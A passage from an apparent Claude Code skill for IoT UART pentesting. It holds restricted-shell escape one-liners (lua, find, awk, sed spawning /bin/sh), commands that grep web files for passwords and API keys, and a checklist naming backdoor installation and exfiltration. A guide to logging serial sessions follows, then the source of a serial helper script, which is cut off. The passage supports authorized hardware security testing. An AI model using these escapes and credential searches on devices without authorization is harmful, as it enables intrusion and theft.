lua -e 'os.execute("/bin/sh")'4. Via system commands:
# Find
find / -name anything -exec /bin/sh \;
# Awk
awk 'BEGIN {system("/bin/sh")}'
# Sed
sed -e '1s/.*//' /etc/passwd -e '1i#!/bin/sh' | sh5. Via environment manipulation:
# If you can modify PATH
export PATH=/bin:/usr/bin:/sbin:/usr/sbin
# If cd is restricted, try:
cd() { builtin cd "$@"; }Example 8: Network Service Discovery
Scenario: Enumerate network services for lateral movement.
# Check listening ports
netstat -tulpn
ss -tulpn
lsof -i -P -n
# Check network connections
netstat -anp
ss -anp
# Check ARP table (find other devices)
arp -a
cat /proc/net/arp
# Scan local network (if tools available)
nmap -sn 192.168.1.0/24
# Check for common IoT services
ps aux | grep -E 'http|telnet|ftp|ssh|upnp|mqtt'
# Check open files and sockets
lsof | grep -E 'LISTEN|ESTABLISHED'
# Examine web server configs
cat /etc/nginx/nginx.conf
cat /etc/lighttpd/lighttpd.conf
ls -la /var/www/
# Check for credentials in web files
grep -r "password" /var/www/ 2>/dev/null
grep -r "api_key" /var/www/ 2>/dev/nullTips and Tricks
Baud Rate Detection
If you see garbled output, systematically try common baud rates:
# Common rates in order of likelihood:
115200, 57600, 38400, 19200, 9600, 230400, 460800, 921600Logging Everything
Always log your session for documentation and later analysis:
picocom -b 115200 --nolock --logfile pentest_$(date +%Y%m%d_%H%M%S).log /dev/ttyUSB0Multiple Serial Connections
If you need to monitor boot process and interact:
# Terminal 1: Monitor and log
picocom -b 115200 --nolock --logfile boot.log /dev/ttyUSB0
# Terminal 2: Send commands
echo "command" > /dev/ttyUSB0Recovering from Broken Console
If console becomes unresponsive:
# Send Ctrl-C
echo -ne '\003' > /dev/ttyUSB0
# Send Ctrl-D (EOF)
echo -ne '\004' > /dev/ttyUSB0
# Reset terminal
resetFinding UART Pins on PCB
If you need to locate UART on a device PCB: 1. Look for 3-5 pin headers (usually GND, TX, RX, VCC) 2. Use multimeter to find GND (continuity to ground plane) 3. Power on device and use logic analyzer or multimeter to find TX (data output) 4. RX is usually next to TX 5. Typical voltage: 3.3V or 5V (be careful not to mix!)
Security Checklist
After gaining access, systematically check:
- [ ] Device identification (model, firmware version)
- [ ] User accounts and permissions
- [ ] Default credentials
- [ ] Network configuration and services
- [ ] Firewall rules
- [ ] Running processes and services
- [ ] Filesystem permissions (SUID, world-writable)
- [ ] Cron jobs and startup scripts
- [ ] Hardcoded credentials in files
- [ ] SSH keys and certificates
- [ ] Web interfaces and APIs
- [ ] Known CVEs for installed software
- [ ] Bootloader security
- [ ] Firmware extraction
- [ ] Backdoor installation possibilities
- [ ] Lateral movement opportunities
- [ ] Data exfiltration vectors
Common Vulnerabilities Found in IoT Devices
1. Default Credentials: Many devices ship with unchanged default passwords 2. Hardcoded Credentials: Passwords embedded in firmware 3. Weak Authentication: No password or easily guessable passwords 4. Insecure Services: Telnet, FTP running with root access 5. Outdated Software: Old kernel versions with known exploits 6. SUID Misconfiguration: Unnecessary SUID binaries 7. World-Writable Files: Critical system files with wrong permissions 8. Unsecured Bootloader: U-Boot without password protection 9. No Firmware Signature Verification: Can flash custom firmware 10. Information Disclosure: Verbose error messages, exposed configs
Observing Serial Console Sessions
This guide explains how to monitor and observe what's happening on the serial console in real-time while the helper script or skill is interacting with the device.
Method 1: Built-in Logging (Easiest - RECOMMENDED)
The serial_helper.py script now includes built-in session logging that captures all I/O in real-time.
Usage
Terminal 1 - Run the helper script with logging:
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--prompt "User@[^>]+>" \
--logfile /tmp/serial_session.log \
--interactiveTerminal 2 - Watch the log in real-time:
tail -f /tmp/serial_session.logWhat Gets Logged
The logfile captures:
- Session start/end timestamps
- All data sent to the device (commands)
- All data received from the device (responses, prompts, echoes)
- Raw I/O exactly as it appears on the wire
Example Log Output
============================================================
Session started: 2025-10-19T23:20:27.384436
Device: /dev/ttyUSB0 @ 115200 baud
============================================================
User@/root>
User@/root>date
date
Thu Dec 1 00:10:11 GMT+5 2011
User@/root>
User@/root>ifconfig
ifconfig
eth0 Link encap:Ethernet HWaddr E4:F1:4C:77:66:08
inet addr:192.168.1.27 Bcast:192.168.1.255 Mask:255.255.255.0
[...]
============================================================
Session ended: 2025-10-19T23:20:29.130706
============================================================Advantages
✅ No additional setup required ✅ Works with all modes (single command, interactive, batch) ✅ Doesn't interfere with the serial connection ✅ Can be tailed from another terminal ✅ Captures exact I/O timing ✅ Persistent record for later analysis
Limitations
❌ Not truly real-time (buffered, but line-buffered so minimal delay) ❌ Requires specifying logfile when starting
Method 2: Using socat for Port Mirroring (Advanced)
For true real-time observation or when you need multiple simultaneous connections, use socat to create a virtual serial port that mirrors the real one.
Setup
Terminal 1 - Create virtual port with socat:
sudo socat -d -d \
PTY,raw,echo=0,link=/tmp/vserial0 \
PTY,raw,echo=0,link=/tmp/vserial1This creates two linked virtual serial ports that mirror each other.
Terminal 2 - Bridge real device to one virtual port:
sudo socat /dev/ttyUSB0,raw,echo=0,b115200 /tmp/vserial0Terminal 3 - Use helper script on the bridge:
python3 .claude/skills/picocom/serial_helper.py \
--device /tmp/vserial1 \
--prompt "User@[^>]+>" \
--interactiveTerminal 4 - Observe on picocom:
picocom -b 115200 --nolock --echo --omap crlf /tmp/vserial0Advantages
✅ True real-time observation ✅ Multiple processes can "spy" on the connection ✅ Can use picocom with full interactive features ✅ Most flexible approach
Limitations
❌ Complex setup with multiple terminals ❌ Requires socat installed ❌ Requires root/sudo for some operations ❌ More potential for errors
Method 3: Using screen with Logging
If you prefer screen over picocom, you can use its built-in logging feature.
Usage
Start screen with logging:
screen -L -Logfile /tmp/serial_screen.log /dev/ttyUSB0 115200Then in another terminal:
tail -f /tmp/serial_screen.logAdvantages
✅ Built into screen ✅ Simple to use ✅ Good for manual interaction
Limitations
❌ Not suitable for automated scripting ❌ Less control over output format ❌ Requires screen (not picocom)
Method 4: Direct Device File Monitoring (Read-Only Spy)
For read-only observation without interfering with the helper script:
Terminal 1 - Run helper script normally:
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--interactiveTerminal 2 - Spy on the device (read-only):
# This reads without opening the port exclusively
cat /dev/ttyUSB0 | tee /tmp/spy.logWarnings
⚠️ This method is unreliable:
- May miss data that was read by the helper script
- Can cause timing issues
- Not recommended for production use
- Only use for debugging if other methods don't work
Comparison Matrix
| Method | Real-time | Easy Setup | Multi-Observer | Reliable | Recommended |
|---|---|---|---|---|---|
| Built-in Logging | Near | ✅ Yes | Limited | ✅ Yes | ⭐ Best |
| socat Mirror | ✅ Yes | ❌ Complex | ✅ Yes | ✅ Yes | Advanced |
| screen -L | Near | ✅ Yes | Limited | ✅ Yes | Manual use |
| cat spy | ✅ Yes | ✅ Yes | ✅ Yes | ❌ No | ⚠️ Last resort |
Recommended Workflow
For Claude Code Skill Usage
When Claude is using the skill to interact with your device:
1. Before starting, set up a log watcher:
# Terminal 1
touch /tmp/device_session.log
tail -f /tmp/device_session.log2. Tell Claude to use logging:
Please enumerate the device and log the session to /tmp/device_session.log3. Watch Terminal 1 to see real-time I/O
For Manual Debugging
1. Use the interactive mode with logging:
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--prompt "User@[^>]+>" \
--logfile /tmp/debug.log \
--debug \
--interactive2. In another terminal, watch the log:
tail -f /tmp/debug.log3. Debug output goes to stderr, log goes to the file
For Multiple Simultaneous Connections
If you need both automated scripting AND manual interaction:
1. Set up socat bridge (see Method 2) 2. Run helper script on one virtual port 3. Use picocom on the other virtual port 4. Both can interact simultaneously
Example: Watching Claude Enumerate a Device
Terminal 1 - Start log watcher:
tail -f /tmp/device_enum.logTerminal 2 - Run Claude Code and tell it:
Please enumerate the Uniview camera using the serial helper with
--logfile /tmp/device_enum.log so I can watch what's happeningTerminal 1 Output (real-time):
============================================================
Session started: 2025-10-19T23:30:15.123456
Device: /dev/ttyUSB0 @ 115200 baud
============================================================
User@/root>
User@/root>help
help
logout
exit
update
[... you see everything as it happens ...]Troubleshooting
Log file not updating
Problem: tail -f shows nothing
Solutions:
# Make sure the file exists first
touch /tmp/serial_session.log
tail -f /tmp/serial_session.log
# Check if the helper script is actually writing
ls -lh /tmp/serial_session.log
# Try unbuffered tail
tail -f -n +1 /tmp/serial_session.logPermission denied on /dev/ttyUSB0
Problem: Multiple processes trying to access device
Solutions:
# Check what's using it
fuser /dev/ttyUSB0
# Add your user to dialout group
sudo usermod -a -G dialout $USER
# Use --nolock option if needed (already default in helper)socat "device busy" error
Problem: Device already opened
Solutions:
# Kill all processes using the device
sudo fuser -k /dev/ttyUSB0
# Wait a moment
sleep 1
# Try socat againBest Practices
1. Always use logging for important sessions - you can analyze them later 2. Use descriptive log filenames with timestamps:
--logfile "/tmp/device_$(date +%Y%m%d_%H%M%S).log"3. Keep logs for documentation - they're valuable for reports and analysis
4. Use --debug with --logfile to get both debug info and I/O logs:
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--command "help" \
--logfile session.log \
--debug 2>&1 | tee debug.txt5. Compress old logs to save space:
gzip /tmp/old_session.logSecurity Considerations
⚠️ Log files may contain sensitive information:
- Passwords entered during sessions
- Cryptographic keys or tokens
- Network configurations
- Device identifiers
Recommendations:
- Store logs in secure locations (not /tmp for sensitive data)
- Use proper file permissions:
chmod 600 /tmp/sensitive_session.log- Shred logs after analysis:
shred -u /tmp/sensitive_session.log- Never commit logs to public repositories
Summary
For most use cases: Use the built-in --logfile option and tail -f in another terminal. It's simple, reliable, and works well.
For advanced needs: Use socat to create a virtual serial port mirror for true real-time observation and multi-process access.
Key Command:
# Start with logging
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--prompt "User@[^>]+>" \
--logfile /tmp/session.log \
--interactive
# Watch in another terminal
tail -f /tmp/session.log#!/usr/bin/env python3
"""
Serial Helper for IoT Device UART Console Interaction
Provides clean command execution and output parsing for serial console devices.
"""
import serial
import time
import argparse
import sys
import re
import json
import subprocess
from typing import Optional, List, Tuple, Dict
from datetime import datetime
class SerialHelper:
"""
Helper class for interacting with serial console devices.
Handles connection, command execution, prompt detection, and output cleaning.
Supports both shell consoles (with prompts) and AT command interfaces (modems).
"""
# Common prompt patterns for IoT devices (shell consoles)
DEFAULT_PROMPT_PATTERNS = [
r'User@[^>]+>', # User@/root>
r'[#\$]\s*$', # # or $
r'root@[^#]+#', # root@device#
r'=>\s*$', # U-Boot =>
r'U-Boot>', # U-Boot>
r'>\s*$', # Generic >
r'login:\s*$', # Login prompt
r'Password:\s*$', # Password prompt
]
# AT command response patterns (cellular/satellite modems)
AT_RESPONSE_PATTERNS = [
r'^OK\s*$', # Success response
r'^ERROR\s*$', # Generic error
r'^\+CME ERROR:', # Mobile equipment error
r'^\+CMS ERROR:', # SMS error
r'^NO CARRIER\s*$', # Connection failed
r'^BUSY\s*$', # Line busy
r'^NO DIALTONE\s*$', # No dial tone
r'^NO ANSWER\s*$', # No answer
r'^CONNECT', # Connection established
]
AT_SUCCESS_PATTERNS = [r'^OK\s*$', r'^CONNECT']
AT_ERROR_PATTERNS = [
r'^ERROR\s*$',
r'^\+CME ERROR:',
r'^\+CMS ERROR:',
r'^NO CARRIER\s*$',
r'^BUSY\s*$',
r'^NO DIALTONE\s*$',
r'^NO ANSWER\s*$',
]
def __init__(self, device: str, baud: int = 115200, timeout: float = 3.0,
prompt_pattern: Optional[str] = None, debug: bool = False,
logfile: Optional[str] = None, at_mode: bool = False):
"""
Initialize serial helper.
Args:
device: Serial device path (e.g., /dev/ttyUSB0)
baud: Baud rate (default: 115200)
timeout: Read timeout in seconds (default: 3.0)
prompt_pattern: Custom regex pattern for prompt detection
debug: Enable debug output
logfile: Optional file path to log all I/O
at_mode: Enable AT command mode for cellular/satellite modems
"""
self.device = device
self.baud = baud
self.timeout = timeout
self.debug = debug
self.serial = None
self.detected_prompt = None
self.logfile = None
self.at_mode = at_mode
# Setup patterns based on mode
if at_mode:
# AT command mode - use response terminators instead of prompts
self.response_patterns = [re.compile(p, re.MULTILINE) for p in self.AT_RESPONSE_PATTERNS]
self.success_patterns = [re.compile(p, re.MULTILINE) for p in self.AT_SUCCESS_PATTERNS]
self.error_patterns = [re.compile(p, re.MULTILINE) for p in self.AT_ERROR_PATTERNS]
self.prompt_patterns = [] # Not used in AT mode
elif prompt_pattern:
self.prompt_patterns = [re.compile(prompt_pattern)]
else:
self.prompt_patterns = [re.compile(p) for p in self.DEFAULT_PROMPT_PATTERNS]
# Track command history
self.command_history = []
# Open logfile if specified
if logfile:
try:
self.logfile = open(logfile, 'a', buffering=1) # Line buffered
self._log(f"\n{'='*60}\n")
self._log(f"Session started: {datetime.now().isoformat()}\n")
self._log(f"Device: {device} @ {baud} baud\n")
self._log(f"{'='*60}\n")
except IOError as e:
print(f"Warning: Could not open logfile {logfile}: {e}", file=sys.stderr)
self.logfile = None
def _debug_print(self, msg: str):
"""Print debug message if debug mode is enabled."""
if self.debug:
print(f"[DEBUG] {msg}", file=sys.stderr)
def _log(self, data: str):
"""Write data to logfile if enabled."""
if self.logfile:
self.logfile.write(data)
self.logfile.flush()
def connect(self, skip_prompt_detection: bool = False) -> bool:
"""
Establish serial connection.
Args:
skip_prompt_detection: Skip prompt detection for passive monitoring (default: False)
Returns:
True if connection successful, False otherwise
"""
try:
self._debug_print(f"Connecting to {self.device} at {self.baud} baud...")
self.serial = serial.Serial(
port=self.device,
baudrate=self.baud,
bytesize=serial.EIGHTBITS,
parity=serial.PARITY_NONE,
stopbits=serial.STOPBITS_ONE,
timeout=self.timeout,
xonxoff=False,
rtscts=False,
dsrdtr=False
)
# Clear any existing data
self.serial.reset_input_buffer()
self.serial.reset_output_buffer()
if self.at_mode:
# AT command mode - verify modem responds to basic AT command
self._debug_print("AT mode enabled, verifying modem response...")
time.sleep(0.1)
self._send_raw("AT\r\n")
time.sleep(0.3)
response = self._read_raw(timeout=1.0)
if "OK" in response:
self._debug_print("AT modem detected and responding")
elif "ERROR" in response:
self._debug_print("AT modem responded with ERROR (may need initialization)")
else:
self._debug_print(f"Warning: AT modem may not be responding (got: {response.strip()[:50]})")
self._debug_print("Connected successfully (AT command mode)")
elif not skip_prompt_detection:
# Shell mode - send a newline to get initial prompt
self._send_raw("\r\n")
time.sleep(0.5)
# Try to detect prompt
initial_output = self._read_raw(timeout=1.0)
self._detect_prompt(initial_output)
self._debug_print(f"Connected successfully. Detected prompt: {self.detected_prompt}")
else:
self._debug_print(f"Connected successfully (passive monitoring mode)")
return True
except serial.SerialException as e:
print(f"Error connecting to {self.device}: {e}", file=sys.stderr)
return False
except Exception as e:
print(f"Unexpected error: {e}", file=sys.stderr)
return False
def disconnect(self):
"""Close serial connection."""
if self.serial and self.serial.is_open:
self._debug_print("Disconnecting...")
self.serial.close()
self.serial = None
if self.logfile:
self._log(f"\n{'='*60}\n")
self._log(f"Session ended: {datetime.now().isoformat()}\n")
self._log(f"{'='*60}\n\n")
self.logfile.close()
self.logfile = None
def _send_raw(self, data: str):
"""Send raw data to serial port."""
if self.serial and self.serial.is_open:
self.serial.write(data.encode('utf-8'))
self.serial.flush()
self._log(data) # Log sent data
def _read_raw(self, timeout: Optional[float] = None) -> str:
"""
Read raw data from serial port.
Args:
timeout: Optional custom timeout for this read
Returns:
Decoded string from serial port
"""
if not self.serial or not self.serial.is_open:
return ""
original_timeout = self.serial.timeout
if timeout is not None:
self.serial.timeout = timeout
try:
output = b""
start_time = time.time()
while True:
if self.serial.in_waiting:
chunk = self.serial.read(self.serial.in_waiting)
output += chunk
self._debug_print(f"Read {len(chunk)} bytes")
else:
# Check if we've exceeded timeout
if time.time() - start_time > (timeout or self.timeout):
break
time.sleep(0.05)
decoded = output.decode('utf-8', errors='replace')
self._log(decoded) # Log received data
return decoded
finally:
self.serial.timeout = original_timeout
def _detect_prompt(self, text: str):
"""
Detect prompt pattern in text.
Args:
text: Text to search for prompt
"""
lines = text.split('\n')
for line in reversed(lines):
line = line.strip()
if line:
for pattern in self.prompt_patterns:
if pattern.search(line):
self.detected_prompt = pattern.pattern
self._debug_print(f"Detected prompt pattern: {self.detected_prompt}")
return
def _wait_for_prompt(self, timeout: Optional[float] = None) -> Tuple[str, bool]:
"""
Read until prompt is detected or timeout occurs.
Args:
timeout: Optional custom timeout
Returns:
Tuple of (output, prompt_found)
"""
output = ""
start_time = time.time()
timeout_val = timeout or self.timeout
while True:
chunk = self._read_raw(timeout=0.1)
if chunk:
output += chunk
self._debug_print(f"Accumulated {len(output)} chars")
# Check if prompt is in the output
for pattern in self.prompt_patterns:
if pattern.search(output.split('\n')[-1]):
self._debug_print("Prompt detected")
return output, True
# Check timeout
if time.time() - start_time > timeout_val:
self._debug_print("Timeout waiting for prompt")
return output, False
time.sleep(0.05)
def _wait_for_at_response(self, timeout: Optional[float] = None) -> Tuple[str, bool, bool]:
"""
Wait for AT command response (OK, ERROR, etc.)
Used in AT mode for cellular/satellite modems.
Args:
timeout: Optional custom timeout
Returns:
Tuple of (output, completed, success)
- output: Raw response text
- completed: True if response terminator found (OK, ERROR, etc.)
- success: True if OK/CONNECT, False if ERROR/NO CARRIER/etc.
"""
output = ""
start_time = time.time()
timeout_val = timeout or self.timeout
while True:
chunk = self._read_raw(timeout=0.1)
if chunk:
output += chunk
self._debug_print(f"Accumulated {len(output)} chars")
# Check each line for response terminators
for line in output.split('\n'):
line = line.strip()
if not line:
continue
# Check for success patterns (OK, CONNECT)
for pattern in self.success_patterns:
if pattern.search(line):
self._debug_print(f"AT success response detected: {line}")
return output, True, True
# Check for error patterns
for pattern in self.error_patterns:
if pattern.search(line):
self._debug_print(f"AT error response detected: {line}")
return output, True, False
# Check timeout
if time.time() - start_time > timeout_val:
self._debug_print("Timeout waiting for AT response")
return output, False, False
time.sleep(0.05)
def _clean_output(self, raw_output: str, command: str) -> str:
"""
Clean command output by removing echoes, prompts, and ANSI codes.
Args:
raw_output: Raw output from serial
command: Command that was sent
Returns:
Cleaned output
"""
# Remove ANSI escape codes
ansi_escape = re.compile(r'\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])')
cleaned = ansi_escape.sub('', raw_output)
# Split into lines
lines = cleaned.split('\n')
# Remove empty lines and prompts
result_lines = []
for line in lines:
line = line.strip('\r\n')
# Skip empty lines
if not line.strip():
continue
# Skip lines that are just the command echo
if line.strip() == command.strip():
continue
# Skip lines that match prompt patterns
is_prompt = False
for pattern in self.prompt_patterns:
if pattern.search(line):
is_prompt = True
break
if is_prompt:
continue
result_lines.append(line)
return '\n'.join(result_lines)
def send_command(self, command: str, timeout: Optional[float] = None,
clean: bool = True) -> Tuple[str, bool]:
"""
Send command and wait for output.
Args:
command: Command to send
timeout: Optional custom timeout
clean: Whether to clean the output (remove echoes, prompts)
Returns:
Tuple of (output, success)
"""
if not self.serial or not self.serial.is_open:
return "", False
self._debug_print(f"Sending command: {command}")
# Clear input buffer
self.serial.reset_input_buffer()
# Send command with carriage return
self._send_raw(f"{command}\r\n")
# Small delay to let command be processed
time.sleep(0.1)
# Wait for response based on mode
if self.at_mode:
# AT command mode - wait for OK/ERROR response
raw_output, completed, success = self._wait_for_at_response(timeout)
else:
# Shell mode - wait for prompt
raw_output, prompt_found = self._wait_for_prompt(timeout)
completed = prompt_found
success = prompt_found
# Track command
self.command_history.append({
'command': command,
'timestamp': datetime.now().isoformat(),
'success': success,
'completed': completed,
'raw_output': raw_output[:200] + '...' if len(raw_output) > 200 else raw_output
})
# Clean output if requested
if clean:
output = self._clean_output(raw_output, command)
else:
output = raw_output
self._debug_print(f"Command completed. Success: {success}")
return output, success
def send_commands(self, commands: List[str], delay: float = 0.5) -> List[dict]:
"""
Send multiple commands in sequence.
Args:
commands: List of commands to send
delay: Delay between commands in seconds
Returns:
List of dictionaries with command results
"""
results = []
for command in commands:
output, success = self.send_command(command)
results.append({
'command': command,
'output': output,
'success': success
})
if delay > 0:
time.sleep(delay)
return results
def interactive_mode(self):
"""
Enter interactive mode where user can type commands.
Type 'exit' or Ctrl-C to quit.
"""
print(f"Interactive mode - connected to {self.device}")
print("Type 'exit' or press Ctrl-C to quit")
print("-" * 50)
try:
while True:
try:
command = input(">>> ")
if command.strip().lower() in ('exit', 'quit'):
break
if not command.strip():
continue
output, success = self.send_command(command)
print(output)
if not success:
print("[WARNING] Command may have timed out or failed", file=sys.stderr)
except EOFError:
break
except KeyboardInterrupt:
print("\nExiting interactive mode...")
def monitor_mode(self, duration: float = 30.0, trigger_script: Optional[str] = None,
trigger_delay: float = 5.0, baseline_duration: float = 0.0) -> Dict:
"""
Passive monitoring mode - continuously read serial output.
Optionally run an external trigger script and capture before/during/after output.
Args:
duration: Total monitoring duration in seconds (default: 30.0)
trigger_script: Optional external script/command to run
trigger_delay: Seconds to wait before running trigger (default: 5.0)
baseline_duration: Seconds to capture baseline before trigger (if 0, trigger runs immediately)
Returns:
Dictionary with monitoring results including baseline, trigger, and post-trigger output
"""
if not self.serial or not self.serial.is_open:
return {'error': 'Serial connection not open'}
print(f"Monitor mode - capturing for {duration} seconds")
if trigger_script:
print(f"Trigger script: {trigger_script}")
print(f"Trigger will run after {trigger_delay} seconds")
print("-" * 50)
result = {
'duration': duration,
'trigger_script': trigger_script,
'trigger_delay': trigger_delay,
'baseline_duration': baseline_duration,
'baseline_output': [],
'trigger_output': [],
'post_trigger_output': [],
'trigger_executed': False,
'trigger_exit_code': None,
'trigger_timestamp': None,
'timeline': []
}
start_time = time.time()
trigger_time = start_time + trigger_delay
baseline_end_time = start_time + baseline_duration if baseline_duration > 0 else start_time
trigger_executed = False
try:
while True:
current_time = time.time()
elapsed = current_time - start_time
# Check if we've exceeded total duration
if elapsed >= duration:
break
# Read available data
if self.serial.in_waiting:
chunk = self.serial.read(self.serial.in_waiting)
decoded = chunk.decode('utf-8', errors='replace')
timestamp = datetime.now().isoformat()
# Log to file if enabled
self._log(decoded)
# Categorize output based on timeline
timeline_entry = {
'timestamp': timestamp,
'elapsed': elapsed,
'data': decoded
}
if current_time < baseline_end_time:
# Baseline period
result['baseline_output'].append(decoded)
timeline_entry['phase'] = 'baseline'
elif trigger_executed:
# Post-trigger period
result['post_trigger_output'].append(decoded)
timeline_entry['phase'] = 'post_trigger'
else:
# Pre-trigger or during trigger
result['trigger_output'].append(decoded)
timeline_entry['phase'] = 'trigger'
result['timeline'].append(timeline_entry)
# Print to console with timestamp
print(f"[{elapsed:6.2f}s] {decoded}", end='', flush=True)
# Execute trigger script if it's time
if trigger_script and not trigger_executed and current_time >= trigger_time:
print(f"\n{'='*50}")
print(f"[TRIGGER] Executing: {trigger_script}")
print(f"{'='*50}")
result['trigger_timestamp'] = datetime.now().isoformat()
try:
# Execute the trigger script
proc = subprocess.run(
trigger_script,
shell=True,
capture_output=True,
text=True,
timeout=min(30, duration - elapsed - 1) # Don't exceed remaining time
)
result['trigger_exit_code'] = proc.returncode
result['trigger_executed'] = True
print(f"[TRIGGER] Exit code: {proc.returncode}")
if proc.stdout:
print(f"[TRIGGER] stdout: {proc.stdout[:200]}")
if proc.stderr:
print(f"[TRIGGER] stderr: {proc.stderr[:200]}", file=sys.stderr)
except subprocess.TimeoutExpired:
print(f"[TRIGGER] WARNING: Script timed out", file=sys.stderr)
result['trigger_exit_code'] = -1
result['trigger_executed'] = True
except Exception as e:
print(f"[TRIGGER] ERROR: {e}", file=sys.stderr)
result['trigger_exit_code'] = -2
result['trigger_executed'] = True
trigger_executed = True
print(f"{'='*50}\n")
# Small sleep to avoid busy-waiting
time.sleep(0.01)
except KeyboardInterrupt:
print("\n\nMonitoring interrupted by user")
result['interrupted'] = True
# Calculate summary statistics
total_baseline = ''.join(result['baseline_output'])
total_trigger = ''.join(result['trigger_output'])
total_post = ''.join(result['post_trigger_output'])
result['summary'] = {
'baseline_bytes': len(total_baseline),
'trigger_bytes': len(total_trigger),
'post_trigger_bytes': len(total_post),
'total_bytes': len(total_baseline) + len(total_trigger) + len(total_post),
'baseline_lines': len(total_baseline.split('\n')) if total_baseline else 0,
'trigger_lines': len(total_trigger.split('\n')) if total_trigger else 0,
'post_trigger_lines': len(total_post.split('\n')) if total_post else 0,
}
print(f"\n{'='*50}")
print(f"Monitoring complete")
print(f"Captured {result['summary']['total_bytes']} bytes total")
if trigger_script:
print(f"Baseline: {result['summary']['baseline_bytes']} bytes")
print(f"During trigger: {result['summary']['trigger_bytes']} bytes")
print(f"Post-trigger: {result['summary']['post_trigger_bytes']} bytes")
print(f"{'='*50}")
return result
def main():
"""Main entry point for command-line usage."""
parser = argparse.ArgumentParser(
description='Serial Helper for IoT UART Console Interaction',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
# Single command
%(prog)s --device /dev/ttyUSB0 --command "help"
# Interactive mode
%(prog)s --device /dev/ttyUSB0 --interactive
# Batch commands from file
%(prog)s --device /dev/ttyUSB0 --script commands.txt
# Monitor mode - passive listening for 30 seconds
%(prog)s --device /dev/ttyUSB0 --monitor --duration 30
# Monitor with external trigger script
%(prog)s --device /dev/ttyUSB0 --monitor --duration 60 \\
--trigger-script "python3 /path/to/test_script.py" \\
--trigger-delay 5
# Monitor with baseline capture before trigger
%(prog)s --device /dev/ttyUSB0 --monitor --duration 60 \\
--trigger-script "./test.sh" \\
--baseline-duration 10 \\
--trigger-delay 15
# Custom baud rate and timeout
%(prog)s --device /dev/ttyUSB0 --baud 57600 --timeout 5 --command "ps"
# Raw output (no cleaning)
%(prog)s --device /dev/ttyUSB0 --command "help" --raw
# JSON output for scripting
%(prog)s --device /dev/ttyUSB0 --command "help" --json
# Log all I/O to file (tail -f in another terminal to watch)
%(prog)s --device /dev/ttyUSB0 --command "help" --logfile session.log
# AT command mode for cellular modems (Quectel, Sierra, u-blox, etc.)
%(prog)s --device /dev/ttyUSB0 --at-mode --command "AT"
%(prog)s --device /dev/ttyUSB0 --at-mode --command "ATI"
%(prog)s --device /dev/ttyUSB0 --at-mode --command "AT+CGSN"
# AT mode with batch commands
%(prog)s --device /dev/ttyUSB0 --at-mode --script at_commands.txt
# AT mode interactive session
%(prog)s --device /dev/ttyUSB0 --at-mode --interactive
"""
)
# Connection arguments
parser.add_argument('--device', '-d', default='/dev/ttyUSB0',
help='Serial device path (default: /dev/ttyUSB0)')
parser.add_argument('--baud', '-b', type=int, default=115200,
help='Baud rate (default: 115200)')
parser.add_argument('--timeout', '-t', type=float, default=3.0,
help='Read timeout in seconds (default: 3.0)')
parser.add_argument('--prompt', '-p', type=str,
help='Custom prompt regex pattern')
parser.add_argument('--at-mode', '-a', action='store_true',
help='AT command mode for cellular/satellite modems (uses OK/ERROR instead of prompts)')
# Mode arguments (mutually exclusive)
mode_group = parser.add_mutually_exclusive_group(required=True)
mode_group.add_argument('--command', '-c', type=str,
help='Single command to execute')
mode_group.add_argument('--interactive', '-i', action='store_true',
help='Enter interactive mode')
mode_group.add_argument('--script', '-s', type=str,
help='File containing commands to execute (one per line)')
mode_group.add_argument('--monitor', '-m', action='store_true',
help='Passive monitoring mode (just listen, no commands)')
# Monitor mode specific arguments
parser.add_argument('--duration', type=float, default=30.0,
help='Monitoring duration in seconds (default: 30.0)')
parser.add_argument('--trigger-script', type=str,
help='External script/command to run during monitoring')
parser.add_argument('--trigger-delay', type=float, default=5.0,
help='Seconds to wait before running trigger (default: 5.0)')
parser.add_argument('--baseline-duration', type=float, default=0.0,
help='Seconds to capture baseline before trigger (default: 0.0)')
# Output arguments
parser.add_argument('--raw', '-r', action='store_true',
help='Output raw response (no cleaning)')
parser.add_argument('--json', '-j', action='store_true',
help='Output in JSON format')
parser.add_argument('--logfile', '-l', type=str,
help='Log all I/O to file (can tail -f in another terminal)')
parser.add_argument('--debug', action='store_true',
help='Enable debug output')
args = parser.parse_args()
# Create serial helper
helper = SerialHelper(
device=args.device,
baud=args.baud,
timeout=args.timeout,
prompt_pattern=args.prompt,
debug=args.debug,
logfile=args.logfile,
at_mode=args.at_mode
)
# Connect to device
# Skip prompt detection in monitor mode (passive listening)
skip_prompt = args.monitor if hasattr(args, 'monitor') else False
if not helper.connect(skip_prompt_detection=skip_prompt):
sys.exit(1)
try:
if args.monitor:
# Monitor mode
result = helper.monitor_mode(
duration=args.duration,
trigger_script=args.trigger_script,
trigger_delay=args.trigger_delay,
baseline_duration=args.baseline_duration
)
if args.json:
# Convert output lists to single strings for JSON
json_result = result.copy()
json_result['baseline_output'] = ''.join(result['baseline_output'])
json_result['trigger_output'] = ''.join(result['trigger_output'])
json_result['post_trigger_output'] = ''.join(result['post_trigger_output'])
# Remove timeline to reduce JSON size (can be very large)
if 'timeline' in json_result and len(json_result['timeline']) > 100:
json_result['timeline_count'] = len(json_result['timeline'])
json_result['timeline'] = json_result['timeline'][:10] + ['... truncated ...'] + json_result['timeline'][-10:]
print(json.dumps(json_result, indent=2))
sys.exit(0 if not result.get('error') else 1)
elif args.interactive:
# Interactive mode
helper.interactive_mode()
elif args.command:
# Single command mode
output, success = helper.send_command(args.command, clean=not args.raw)
if args.json:
result = {
'command': args.command,
'output': output,
'success': success
}
print(json.dumps(result, indent=2))
else:
print(output)
sys.exit(0 if success else 1)
elif args.script:
# Batch script mode
try:
with open(args.script, 'r') as f:
commands = [line.strip() for line in f if line.strip() and not line.startswith('#')]
results = helper.send_commands(commands)
if args.json:
print(json.dumps(results, indent=2))
else:
for i, result in enumerate(results, 1):
print(f"\n{'='*50}")
print(f"Command {i}: {result['command']}")
print(f"{'='*50}")
print(result['output'])
if not result['success']:
print("[WARNING] Command may have failed", file=sys.stderr)
# Exit with error if any command failed
if not all(r['success'] for r in results):
sys.exit(1)
except FileNotFoundError:
print(f"Error: Script file '{args.script}' not found", file=sys.stderr)
sys.exit(1)
except IOError as e:
